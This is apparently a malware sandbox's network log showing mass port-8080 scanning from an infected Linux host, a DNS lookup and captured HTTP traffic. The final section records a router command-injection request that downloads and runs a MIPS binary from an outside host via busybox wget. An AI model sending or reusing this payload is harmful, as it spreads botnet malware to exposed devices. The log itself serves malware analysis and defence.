Nov 23, 2023 05:14:52.338037014 CET	54202	8080	192.168.2.13	31.163.88.74
Nov 23, 2023 05:14:52.338036060 CET	54202	8080	192.168.2.13	94.239.37.33
Nov 23, 2023 05:14:52.338037014 CET	54202	8080	192.168.2.13	62.223.78.6
Nov 23, 2023 05:14:52.338036060 CET	54202	8080	192.168.2.13	94.127.254.117
Nov 23, 2023 05:14:52.338115931 CET	54202	8080	192.168.2.13	94.159.140.82
Nov 23, 2023 05:14:52.338115931 CET	54202	8080	192.168.2.13	62.131.149.148
Nov 23, 2023 05:14:52.338115931 CET	54202	8080	192.168.2.13	62.196.160.110
Nov 23, 2023 05:14:52.338115931 CET	54202	8080	192.168.2.13	94.107.120.177
Nov 23, 2023 05:14:52.338115931 CET	54202	8080	192.168.2.13	95.111.248.41
Nov 23, 2023 05:14:52.338115931 CET	54202	8080	192.168.2.13	31.50.69.51
Nov 23, 2023 05:14:52.338129044 CET	54202	8080	192.168.2.13	62.4.198.59
Nov 23, 2023 05:14:52.338129044 CET	54202	8080	192.168.2.13	95.182.79.31
Nov 23, 2023 05:14:52.338129044 CET	54202	8080	192.168.2.13	31.155.20.9
Nov 23, 2023 05:14:52.338129044 CET	54202	8080	192.168.2.13	31.46.225.231
Nov 23, 2023 05:14:52.338129044 CET	54202	8080	192.168.2.13	85.139.55.63
Nov 23, 2023 05:14:52.338129044 CET	54202	8080	192.168.2.13	31.194.200.101
Nov 23, 2023 05:14:52.338131905 CET	54202	8080	192.168.2.13	31.60.81.26
Nov 23, 2023 05:14:52.338131905 CET	54202	8080	192.168.2.13	31.132.197.154
Nov 23, 2023 05:14:52.338133097 CET	54202	8080	192.168.2.13	31.173.124.53
Nov 23, 2023 05:14:52.338133097 CET	54202	8080	192.168.2.13	31.164.206.217
Nov 23, 2023 05:14:52.338133097 CET	54202	8080	192.168.2.13	94.183.155.253
Nov 23, 2023 05:14:52.338133097 CET	54202	8080	192.168.2.13	31.60.189.22
Nov 23, 2023 05:14:52.338133097 CET	54202	8080	192.168.2.13	31.24.146.95
Nov 23, 2023 05:14:52.338133097 CET	54202	8080	192.168.2.13	31.247.198.81
Nov 23, 2023 05:14:52.338135958 CET	54202	8080	192.168.2.13	85.161.103.245
Nov 23, 2023 05:14:52.338135958 CET	54202	8080	192.168.2.13	94.39.24.34
Nov 23, 2023 05:14:52.338135958 CET	54202	8080	192.168.2.13	31.6.7.154
Nov 23, 2023 05:14:52.338135958 CET	54202	8080	192.168.2.13	95.157.216.51
Nov 23, 2023 05:14:52.338135958 CET	54202	8080	192.168.2.13	85.9.6.29
Nov 23, 2023 05:14:52.338135958 CET	54202	8080	192.168.2.13	85.164.178.223
Nov 23, 2023 05:14:52.338149071 CET	54202	8080	192.168.2.13	62.84.50.105
Nov 23, 2023 05:14:52.338149071 CET	54202	8080	192.168.2.13	85.157.196.199
Nov 23, 2023 05:14:52.338149071 CET	54202	8080	192.168.2.13	95.80.89.171
Nov 23, 2023 05:14:52.338149071 CET	54202	8080	192.168.2.13	31.8.150.25
Nov 23, 2023 05:14:52.338149071 CET	54202	8080	192.168.2.13	85.128.156.151
Nov 23, 2023 05:14:52.338154078 CET	54202	8080	192.168.2.13	31.219.140.99
Nov 23, 2023 05:14:52.338154078 CET	54202	8080	192.168.2.13	95.25.76.199
Nov 23, 2023 05:14:52.338154078 CET	54202	8080	192.168.2.13	94.28.170.150
Nov 23, 2023 05:14:52.338154078 CET	54202	8080	192.168.2.13	95.11.159.82
Nov 23, 2023 05:14:52.338154078 CET	54202	8080	192.168.2.13	31.52.250.9
Nov 23, 2023 05:14:52.338154078 CET	54202	8080	192.168.2.13	31.192.21.251
Nov 23, 2023 05:14:52.338154078 CET	54202	8080	192.168.2.13	62.219.26.230
Nov 23, 2023 05:14:52.338172913 CET	54202	8080	192.168.2.13	31.231.11.236
Nov 23, 2023 05:14:52.338172913 CET	54202	8080	192.168.2.13	31.250.84.65
Nov 23, 2023 05:14:52.338172913 CET	54202	8080	192.168.2.13	85.177.239.135
Nov 23, 2023 05:14:52.338172913 CET	54202	8080	192.168.2.13	95.247.184.3
Nov 23, 2023 05:14:52.338172913 CET	54202	8080	192.168.2.13	95.72.6.5
Nov 23, 2023 05:14:52.338172913 CET	54202	8080	192.168.2.13	62.50.90.233
Nov 23, 2023 05:14:52.338187933 CET	54202	8080	192.168.2.13	62.97.98.5
Nov 23, 2023 05:14:52.338187933 CET	54202	8080	192.168.2.13	85.2.165.35
Nov 23, 2023 05:14:52.338187933 CET	54202	8080	192.168.2.13	94.195.5.100
Nov 23, 2023 05:14:52.338191986 CET	54202	8080	192.168.2.13	95.215.80.217
Nov 23, 2023 05:14:52.338191986 CET	54202	8080	192.168.2.13	95.206.171.5
Nov 23, 2023 05:14:52.338191986 CET	54202	8080	192.168.2.13	95.66.144.190
Nov 23, 2023 05:14:52.338191986 CET	54202	8080	192.168.2.13	85.82.225.177
Nov 23, 2023 05:14:52.338191986 CET	54202	8080	192.168.2.13	94.244.163.208
Nov 23, 2023 05:14:52.338221073 CET	54202	8080	192.168.2.13	31.215.145.180
Nov 23, 2023 05:14:52.338221073 CET	54202	8080	192.168.2.13	94.63.148.67
Nov 23, 2023 05:14:52.338221073 CET	54202	8080	192.168.2.13	85.40.69.163
Nov 23, 2023 05:14:52.338221073 CET	54202	8080	192.168.2.13	95.252.8.128
Nov 23, 2023 05:14:52.338221073 CET	54202	8080	192.168.2.13	95.158.238.160
Nov 23, 2023 05:14:52.338221073 CET	54202	8080	192.168.2.13	85.3.186.163
Nov 23, 2023 05:14:52.338221073 CET	54202	8080	192.168.2.13	94.95.157.143
Nov 23, 2023 05:14:52.338237047 CET	54202	8080	192.168.2.13	85.107.251.251
Nov 23, 2023 05:14:52.338237047 CET	54202	8080	192.168.2.13	95.73.244.253
Nov 23, 2023 05:14:52.338238001 CET	54202	8080	192.168.2.13	85.159.255.13
Nov 23, 2023 05:14:52.338238001 CET	54202	8080	192.168.2.13	31.71.34.215
Nov 23, 2023 05:14:52.338246107 CET	54202	8080	192.168.2.13	85.244.192.45
Nov 23, 2023 05:14:52.338246107 CET	54202	8080	192.168.2.13	95.176.122.10
Nov 23, 2023 05:14:52.338246107 CET	54202	8080	192.168.2.13	31.119.222.30
Nov 23, 2023 05:14:52.338246107 CET	54202	8080	192.168.2.13	31.210.87.54
Nov 23, 2023 05:14:52.338246107 CET	54202	8080	192.168.2.13	31.154.184.215
Nov 23, 2023 05:14:52.338277102 CET	54202	8080	192.168.2.13	95.211.115.48
Nov 23, 2023 05:14:52.338277102 CET	54202	8080	192.168.2.13	31.122.251.127
Nov 23, 2023 05:14:52.338277102 CET	54202	8080	192.168.2.13	31.39.226.203
Nov 23, 2023 05:14:52.338277102 CET	54202	8080	192.168.2.13	62.211.218.17
Nov 23, 2023 05:14:52.338277102 CET	54202	8080	192.168.2.13	94.7.187.145
Nov 23, 2023 05:14:52.338277102 CET	54202	8080	192.168.2.13	94.140.241.15
Nov 23, 2023 05:14:52.338287115 CET	54202	8080	192.168.2.13	85.64.163.13
Nov 23, 2023 05:14:52.338287115 CET	54202	8080	192.168.2.13	31.40.225.69
Nov 23, 2023 05:14:52.338287115 CET	54202	8080	192.168.2.13	31.112.59.157
Nov 23, 2023 05:14:52.338287115 CET	54202	8080	192.168.2.13	62.57.204.156
Nov 23, 2023 05:14:52.338287115 CET	54202	8080	192.168.2.13	94.154.82.158
Nov 23, 2023 05:14:52.338287115 CET	54202	8080	192.168.2.13	31.170.51.244
Nov 23, 2023 05:14:52.338291883 CET	54202	8080	192.168.2.13	31.155.111.4
Nov 23, 2023 05:14:52.338291883 CET	54202	8080	192.168.2.13	95.250.109.237
Nov 23, 2023 05:14:52.338291883 CET	54202	8080	192.168.2.13	62.69.84.98
Nov 23, 2023 05:14:52.338291883 CET	54202	8080	192.168.2.13	95.175.160.66
Nov 23, 2023 05:14:52.338291883 CET	54202	8080	192.168.2.13	95.237.252.244
Nov 23, 2023 05:14:52.338291883 CET	54202	8080	192.168.2.13	85.214.156.15
Nov 23, 2023 05:14:52.338291883 CET	54202	8080	192.168.2.13	62.182.123.233
Nov 23, 2023 05:14:52.338294983 CET	54202	8080	192.168.2.13	62.137.57.247
Nov 23, 2023 05:14:52.338294983 CET	54202	8080	192.168.2.13	85.201.8.39
Nov 23, 2023 05:14:52.338294983 CET	54202	8080	192.168.2.13	85.248.53.210
Nov 23, 2023 05:14:52.338294983 CET	54202	8080	192.168.2.13	85.69.6.37
Nov 23, 2023 05:14:52.338305950 CET	54202	8080	192.168.2.13	94.12.15.177
Nov 23, 2023 05:14:52.338305950 CET	54202	8080	192.168.2.13	62.230.16.49
Nov 23, 2023 05:14:52.338306904 CET	54202	8080	192.168.2.13	94.27.72.20
Nov 23, 2023 05:14:52.338306904 CET	54202	8080	192.168.2.13	62.150.166.224
Nov 23, 2023 05:14:52.338306904 CET	54202	8080	192.168.2.13	95.105.248.198
Nov 23, 2023 05:14:52.338306904 CET	54202	8080	192.168.2.13	94.15.176.244
Nov 23, 2023 05:14:52.338314056 CET	54202	8080	192.168.2.13	31.48.115.49
Nov 23, 2023 05:14:52.338314056 CET	54202	8080	192.168.2.13	95.219.67.234
Nov 23, 2023 05:14:52.338314056 CET	54202	8080	192.168.2.13	31.25.125.169
Nov 23, 2023 05:14:52.338315010 CET	54202	8080	192.168.2.13	95.83.23.19
Nov 23, 2023 05:14:52.338315010 CET	54202	8080	192.168.2.13	95.61.141.113
Nov 23, 2023 05:14:52.338315010 CET	54202	8080	192.168.2.13	62.144.151.77
Nov 23, 2023 05:14:52.338315010 CET	54202	8080	192.168.2.13	62.245.109.60
Nov 23, 2023 05:14:52.338315010 CET	54202	8080	192.168.2.13	95.251.166.31
Nov 23, 2023 05:14:52.338373899 CET	54202	8080	192.168.2.13	95.135.5.45
Nov 23, 2023 05:14:52.338376999 CET	54202	8080	192.168.2.13	94.195.64.50
Nov 23, 2023 05:14:52.338376999 CET	54202	8080	192.168.2.13	85.140.147.243
Nov 23, 2023 05:14:52.338377953 CET	54202	8080	192.168.2.13	62.34.216.157
Nov 23, 2023 05:14:52.338377953 CET	54202	8080	192.168.2.13	31.70.136.79
Nov 23, 2023 05:14:52.338377953 CET	54202	8080	192.168.2.13	94.35.47.214
Nov 23, 2023 05:14:52.338377953 CET	54202	8080	192.168.2.13	31.20.110.74
Nov 23, 2023 05:14:52.338377953 CET	54202	8080	192.168.2.13	62.85.196.6
Nov 23, 2023 05:14:52.338377953 CET	54202	8080	192.168.2.13	85.1.164.9
Nov 23, 2023 05:14:52.338377953 CET	54202	8080	192.168.2.13	62.192.183.61
Nov 23, 2023 05:14:52.338377953 CET	54202	8080	192.168.2.13	62.164.177.210
Nov 23, 2023 05:14:52.338385105 CET	54202	8080	192.168.2.13	62.126.195.63
Nov 23, 2023 05:14:52.338385105 CET	54202	8080	192.168.2.13	62.175.53.191
Nov 23, 2023 05:14:52.338385105 CET	54202	8080	192.168.2.13	31.187.145.65
Nov 23, 2023 05:14:52.338385105 CET	54202	8080	192.168.2.13	31.180.101.242
Nov 23, 2023 05:14:52.338407040 CET	54202	8080	192.168.2.13	95.235.41.239
Nov 23, 2023 05:14:52.338407040 CET	54202	8080	192.168.2.13	31.186.101.33
Nov 23, 2023 05:14:52.338411093 CET	54202	8080	192.168.2.13	94.190.190.171
Nov 23, 2023 05:14:52.338417053 CET	54202	8080	192.168.2.13	85.15.132.221
Nov 23, 2023 05:14:52.338417053 CET	54202	8080	192.168.2.13	85.5.128.142
Nov 23, 2023 05:14:52.338417053 CET	54202	8080	192.168.2.13	62.188.208.143
Nov 23, 2023 05:14:52.338424921 CET	54202	8080	192.168.2.13	95.4.218.132
Nov 23, 2023 05:14:52.338424921 CET	54202	8080	192.168.2.13	95.202.77.90
Nov 23, 2023 05:14:52.338424921 CET	54202	8080	192.168.2.13	95.252.63.19
Nov 23, 2023 05:14:52.338424921 CET	54202	8080	192.168.2.13	95.196.253.158
Nov 23, 2023 05:14:52.338424921 CET	54202	8080	192.168.2.13	94.51.35.120
Nov 23, 2023 05:14:52.338424921 CET	54202	8080	192.168.2.13	95.108.87.189
Nov 23, 2023 05:14:52.338424921 CET	54202	8080	192.168.2.13	94.38.68.87
Nov 23, 2023 05:14:52.338433981 CET	54202	8080	192.168.2.13	62.204.33.57
Nov 23, 2023 05:14:52.338433981 CET	54202	8080	192.168.2.13	94.247.190.164
Nov 23, 2023 05:14:52.338454962 CET	54202	8080	192.168.2.13	95.50.119.20
Nov 23, 2023 05:14:52.338454962 CET	54202	8080	192.168.2.13	85.243.36.104
Nov 23, 2023 05:14:52.338454962 CET	54202	8080	192.168.2.13	62.185.219.187
Nov 23, 2023 05:14:52.338454962 CET	54202	8080	192.168.2.13	85.186.102.139
Nov 23, 2023 05:14:52.338454962 CET	54202	8080	192.168.2.13	85.4.69.47
Nov 23, 2023 05:14:52.338478088 CET	54202	8080	192.168.2.13	62.201.65.102
Nov 23, 2023 05:14:52.338485956 CET	54202	8080	192.168.2.13	85.23.254.73
Nov 23, 2023 05:14:52.338485956 CET	54202	8080	192.168.2.13	94.107.141.22
Nov 23, 2023 05:14:52.338485956 CET	54202	8080	192.168.2.13	94.6.116.210
Nov 23, 2023 05:14:52.338490963 CET	54202	8080	192.168.2.13	95.59.42.109
Nov 23, 2023 05:14:52.338521004 CET	54202	8080	192.168.2.13	95.250.168.76
Nov 23, 2023 05:14:52.338521004 CET	54202	8080	192.168.2.13	94.140.166.91
Nov 23, 2023 05:14:52.338524103 CET	54202	8080	192.168.2.13	62.242.238.79
Nov 23, 2023 05:14:52.338524103 CET	54202	8080	192.168.2.13	85.224.96.242
Nov 23, 2023 05:14:52.338524103 CET	54202	8080	192.168.2.13	95.35.166.132
Nov 23, 2023 05:14:52.338524103 CET	54202	8080	192.168.2.13	31.203.80.69
Nov 23, 2023 05:14:52.338532925 CET	54202	8080	192.168.2.13	94.74.254.69
Nov 23, 2023 05:14:52.338532925 CET	54202	8080	192.168.2.13	95.156.247.220
Nov 23, 2023 05:14:52.338537931 CET	54202	8080	192.168.2.13	94.134.221.123
Nov 23, 2023 05:14:52.338537931 CET	54202	8080	192.168.2.13	94.205.130.136
Nov 23, 2023 05:14:52.338537931 CET	54202	8080	192.168.2.13	62.133.211.92
Nov 23, 2023 05:14:52.338540077 CET	54202	8080	192.168.2.13	62.30.66.97
Nov 23, 2023 05:14:52.338537931 CET	54202	8080	192.168.2.13	94.120.28.54
Nov 23, 2023 05:14:52.338537931 CET	54202	8080	192.168.2.13	95.7.185.192
Nov 23, 2023 05:14:52.338537931 CET	54202	8080	192.168.2.13	62.210.58.110
Nov 23, 2023 05:14:52.338537931 CET	54202	8080	192.168.2.13	62.114.93.42
Nov 23, 2023 05:14:52.338558912 CET	54202	8080	192.168.2.13	95.91.253.47
Nov 23, 2023 05:14:52.338587999 CET	54202	8080	192.168.2.13	94.140.254.185
Nov 23, 2023 05:14:52.338591099 CET	54202	8080	192.168.2.13	85.125.173.49
Nov 23, 2023 05:14:52.338591099 CET	54202	8080	192.168.2.13	31.188.188.204
Nov 23, 2023 05:14:52.338591099 CET	54202	8080	192.168.2.13	85.55.70.23
Nov 23, 2023 05:14:52.338618994 CET	54202	8080	192.168.2.13	85.190.199.225
Nov 23, 2023 05:14:52.338618994 CET	54202	8080	192.168.2.13	95.176.222.202
Nov 23, 2023 05:14:52.338624001 CET	54202	8080	192.168.2.13	31.56.78.0
Nov 23, 2023 05:14:52.338624954 CET	54202	8080	192.168.2.13	62.101.136.80
Nov 23, 2023 05:14:52.338625908 CET	54202	8080	192.168.2.13	85.64.234.232
Nov 23, 2023 05:14:52.338624954 CET	54202	8080	192.168.2.13	62.128.152.104
Nov 23, 2023 05:14:52.338624001 CET	54202	8080	192.168.2.13	85.93.62.17
Nov 23, 2023 05:14:52.338624954 CET	54202	8080	192.168.2.13	62.231.53.96
Nov 23, 2023 05:14:52.338625908 CET	54202	8080	192.168.2.13	95.119.118.163
Nov 23, 2023 05:14:52.338624954 CET	54202	8080	192.168.2.13	62.163.243.221
Nov 23, 2023 05:14:52.338624954 CET	54202	8080	192.168.2.13	62.142.240.192
Nov 23, 2023 05:14:52.338624954 CET	54202	8080	192.168.2.13	31.137.145.35
Nov 23, 2023 05:14:52.338624954 CET	54202	8080	192.168.2.13	31.128.199.38
Nov 23, 2023 05:14:52.338637114 CET	54202	8080	192.168.2.13	85.177.176.153
Nov 23, 2023 05:14:52.338637114 CET	54202	8080	192.168.2.13	62.207.122.252
Nov 23, 2023 05:14:52.338637114 CET	54202	8080	192.168.2.13	31.185.155.96
Nov 23, 2023 05:14:52.338637114 CET	54202	8080	192.168.2.13	62.137.155.39
Nov 23, 2023 05:14:52.338656902 CET	54202	8080	192.168.2.13	85.157.227.254
Nov 23, 2023 05:14:52.338668108 CET	54202	8080	192.168.2.13	94.65.223.169
Nov 23, 2023 05:14:52.338675976 CET	54202	8080	192.168.2.13	85.197.225.49
Nov 23, 2023 05:14:52.338692904 CET	54202	8080	192.168.2.13	85.127.127.187
Nov 23, 2023 05:14:52.338706017 CET	54202	8080	192.168.2.13	85.110.174.56
Nov 23, 2023 05:14:52.338706017 CET	54202	8080	192.168.2.13	31.138.243.213
Nov 23, 2023 05:14:52.338706017 CET	54202	8080	192.168.2.13	95.149.25.146
Nov 23, 2023 05:14:52.338706017 CET	54202	8080	192.168.2.13	95.198.203.142
Nov 23, 2023 05:14:52.338706017 CET	54202	8080	192.168.2.13	85.7.153.141
Nov 23, 2023 05:14:52.338717937 CET	54202	8080	192.168.2.13	95.35.70.102
Nov 23, 2023 05:14:52.338717937 CET	54202	8080	192.168.2.13	62.144.227.192
Nov 23, 2023 05:14:52.338717937 CET	54202	8080	192.168.2.13	95.130.93.29
Nov 23, 2023 05:14:52.338727951 CET	54202	8080	192.168.2.13	85.116.118.179
Nov 23, 2023 05:14:52.338727951 CET	54202	8080	192.168.2.13	94.77.102.153
Nov 23, 2023 05:14:52.338732958 CET	54202	8080	192.168.2.13	85.178.36.61
Nov 23, 2023 05:14:52.338738918 CET	54202	8080	192.168.2.13	94.162.158.236
Nov 23, 2023 05:14:52.338738918 CET	54202	8080	192.168.2.13	62.38.28.200
Nov 23, 2023 05:14:52.338738918 CET	54202	8080	192.168.2.13	85.216.69.187
Nov 23, 2023 05:14:52.338738918 CET	54202	8080	192.168.2.13	62.81.74.190
Nov 23, 2023 05:14:52.338738918 CET	54202	8080	192.168.2.13	85.126.77.137
Nov 23, 2023 05:14:52.338738918 CET	54202	8080	192.168.2.13	95.84.123.44
Nov 23, 2023 05:14:52.338757038 CET	54202	8080	192.168.2.13	85.75.134.19
Nov 23, 2023 05:14:52.338758945 CET	54202	8080	192.168.2.13	62.116.61.101
Nov 23, 2023 05:14:52.338774920 CET	54202	8080	192.168.2.13	62.192.238.212
Nov 23, 2023 05:14:52.338782072 CET	54202	8080	192.168.2.13	31.206.198.175
Nov 23, 2023 05:14:52.338782072 CET	54202	8080	192.168.2.13	62.28.98.123
Nov 23, 2023 05:14:52.338789940 CET	54202	8080	192.168.2.13	85.105.137.247
Nov 23, 2023 05:14:52.338789940 CET	54202	8080	192.168.2.13	62.192.64.212
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	85.68.245.232
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	85.213.101.246
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	94.156.87.87
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	31.13.6.174
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	85.221.223.253
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	31.117.97.136
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	95.45.65.229
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	62.233.19.148
Nov 23, 2023 05:14:52.338802099 CET	54202	8080	192.168.2.13	94.66.42.214
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	85.116.25.94
Nov 23, 2023 05:14:52.338803053 CET	54202	8080	192.168.2.13	31.246.140.164
Nov 23, 2023 05:14:52.338800907 CET	54202	8080	192.168.2.13	85.197.210.87
Nov 23, 2023 05:14:52.338816881 CET	54202	8080	192.168.2.13	95.103.154.195
Nov 23, 2023 05:14:52.338819027 CET	54202	8080	192.168.2.13	31.157.143.122
Nov 23, 2023 05:14:52.338819981 CET	54202	8080	192.168.2.13	94.206.234.63
Nov 23, 2023 05:14:52.338820934 CET	54202	8080	192.168.2.13	31.191.166.78
Nov 23, 2023 05:14:52.338844061 CET	54202	8080	192.168.2.13	85.178.206.237
Nov 23, 2023 05:14:52.338843107 CET	54202	8080	192.168.2.13	62.240.209.74
Nov 23, 2023 05:14:52.338844061 CET	54202	8080	192.168.2.13	95.145.187.59
Nov 23, 2023 05:14:52.338845968 CET	54202	8080	192.168.2.13	94.14.50.174
Nov 23, 2023 05:14:52.338845015 CET	54202	8080	192.168.2.13	31.4.165.53
Nov 23, 2023 05:14:52.338856936 CET	54202	8080	192.168.2.13	95.176.80.91
Nov 23, 2023 05:14:52.338859081 CET	54202	8080	192.168.2.13	94.136.206.198
Nov 23, 2023 05:14:52.338876009 CET	54202	8080	192.168.2.13	31.246.178.83
Nov 23, 2023 05:14:52.338884115 CET	54202	8080	192.168.2.13	31.173.74.14
Nov 23, 2023 05:14:52.338891029 CET	54202	8080	192.168.2.13	31.84.155.172
Nov 23, 2023 05:14:52.338896990 CET	54202	8080	192.168.2.13	95.252.90.254
Nov 23, 2023 05:14:52.338896990 CET	54202	8080	192.168.2.13	31.229.139.174
Nov 23, 2023 05:14:52.338901043 CET	54202	8080	192.168.2.13	94.225.153.237
Nov 23, 2023 05:14:52.338902950 CET	54202	8080	192.168.2.13	62.180.26.55
Nov 23, 2023 05:14:52.338917017 CET	54202	8080	192.168.2.13	95.61.32.149
Nov 23, 2023 05:14:52.338932037 CET	54202	8080	192.168.2.13	94.179.176.45
Nov 23, 2023 05:14:52.338937998 CET	54202	8080	192.168.2.13	62.44.144.238
Nov 23, 2023 05:14:52.338937044 CET	54202	8080	192.168.2.13	95.42.110.69
Nov 23, 2023 05:14:52.338949919 CET	54202	8080	192.168.2.13	95.101.171.47
Nov 23, 2023 05:14:52.338957071 CET	54202	8080	192.168.2.13	31.177.218.80
Nov 23, 2023 05:14:52.338962078 CET	54202	8080	192.168.2.13	94.75.15.127
Nov 23, 2023 05:14:52.338962078 CET	54202	8080	192.168.2.13	62.233.80.225
Nov 23, 2023 05:14:52.338962078 CET	54202	8080	192.168.2.13	94.213.77.127
Nov 23, 2023 05:14:52.338973999 CET	54202	8080	192.168.2.13	62.17.121.122
Nov 23, 2023 05:14:52.338985920 CET	54202	8080	192.168.2.13	95.248.179.112
Nov 23, 2023 05:14:52.338984966 CET	54202	8080	192.168.2.13	94.93.44.107
Nov 23, 2023 05:14:52.338985920 CET	54202	8080	192.168.2.13	95.136.207.194
Nov 23, 2023 05:14:52.338999033 CET	54202	8080	192.168.2.13	94.80.79.198
Nov 23, 2023 05:14:52.339006901 CET	54202	8080	192.168.2.13	94.51.254.208
Nov 23, 2023 05:14:52.339013100 CET	54202	8080	192.168.2.13	62.222.174.125
Nov 23, 2023 05:14:52.339023113 CET	54202	8080	192.168.2.13	95.198.52.185
Nov 23, 2023 05:14:52.339023113 CET	54202	8080	192.168.2.13	94.137.235.91
Nov 23, 2023 05:14:52.339030981 CET	54202	8080	192.168.2.13	94.191.204.56
Nov 23, 2023 05:14:52.339034081 CET	54202	8080	192.168.2.13	31.55.113.98
Nov 23, 2023 05:14:52.339044094 CET	54202	8080	192.168.2.13	95.148.107.251
Nov 23, 2023 05:14:52.339049101 CET	54202	8080	192.168.2.13	95.191.10.91
Nov 23, 2023 05:14:52.339062929 CET	54202	8080	192.168.2.13	85.121.22.150
Nov 23, 2023 05:14:52.339063883 CET	54202	8080	192.168.2.13	94.116.137.98
Nov 23, 2023 05:14:52.339068890 CET	54202	8080	192.168.2.13	94.61.134.88
Nov 23, 2023 05:14:52.339076996 CET	54202	8080	192.168.2.13	62.154.210.135
Nov 23, 2023 05:14:52.339080095 CET	54202	8080	192.168.2.13	85.53.160.117
Nov 23, 2023 05:14:52.339082003 CET	54202	8080	192.168.2.13	85.120.99.175
Nov 23, 2023 05:14:52.339092016 CET	54202	8080	192.168.2.13	31.21.67.8
Nov 23, 2023 05:14:52.339099884 CET	54202	8080	192.168.2.13	94.218.37.34
Nov 23, 2023 05:14:52.339114904 CET	54202	8080	192.168.2.13	31.188.55.230
Nov 23, 2023 05:14:52.339114904 CET	54202	8080	192.168.2.13	94.40.188.95
Nov 23, 2023 05:14:52.339117050 CET	54202	8080	192.168.2.13	62.82.142.126
Nov 23, 2023 05:14:52.339118004 CET	54202	8080	192.168.2.13	31.162.132.4
Nov 23, 2023 05:14:52.339118004 CET	54202	8080	192.168.2.13	62.123.85.134
Nov 23, 2023 05:14:52.339138985 CET	54202	8080	192.168.2.13	94.125.217.99
Nov 23, 2023 05:14:52.339138985 CET	54202	8080	192.168.2.13	94.63.171.1
Nov 23, 2023 05:14:52.339140892 CET	54202	8080	192.168.2.13	85.32.194.136
Nov 23, 2023 05:14:52.339154005 CET	54202	8080	192.168.2.13	95.29.201.101
Nov 23, 2023 05:14:52.339154959 CET	54202	8080	192.168.2.13	94.251.248.52
Nov 23, 2023 05:14:52.339164972 CET	54202	8080	192.168.2.13	62.12.102.166
Nov 23, 2023 05:14:52.339168072 CET	54202	8080	192.168.2.13	95.126.99.166
Nov 23, 2023 05:14:52.339179039 CET	54202	8080	192.168.2.13	94.160.146.47
Nov 23, 2023 05:14:52.339184046 CET	54202	8080	192.168.2.13	62.107.102.17
Nov 23, 2023 05:14:52.339199066 CET	54202	8080	192.168.2.13	62.74.38.91
Nov 23, 2023 05:14:52.339204073 CET	54202	8080	192.168.2.13	31.173.211.187
Nov 23, 2023 05:14:52.339206934 CET	54202	8080	192.168.2.13	95.107.240.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2023 05:17:33.211975098 CET	192.168.2.13	1.1.1.1	0x483a	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Nov 23, 2023 05:17:33.211975098 CET	192.168.2.13	1.1.1.1	0x4333	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2023 05:17:33.346791983 CET	1.1.1.1	192.168.2.13	0x483a	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Nov 23, 2023 05:17:33.346791983 CET	1.1.1.1	192.168.2.13	0x483a	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	55738	47.104.39.34	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:47.951337099 CET	121	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 0a Data Ascii: Unauthorized ...IP Address:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	36154	31.136.47.50	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:50.817152977 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:53.990777969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
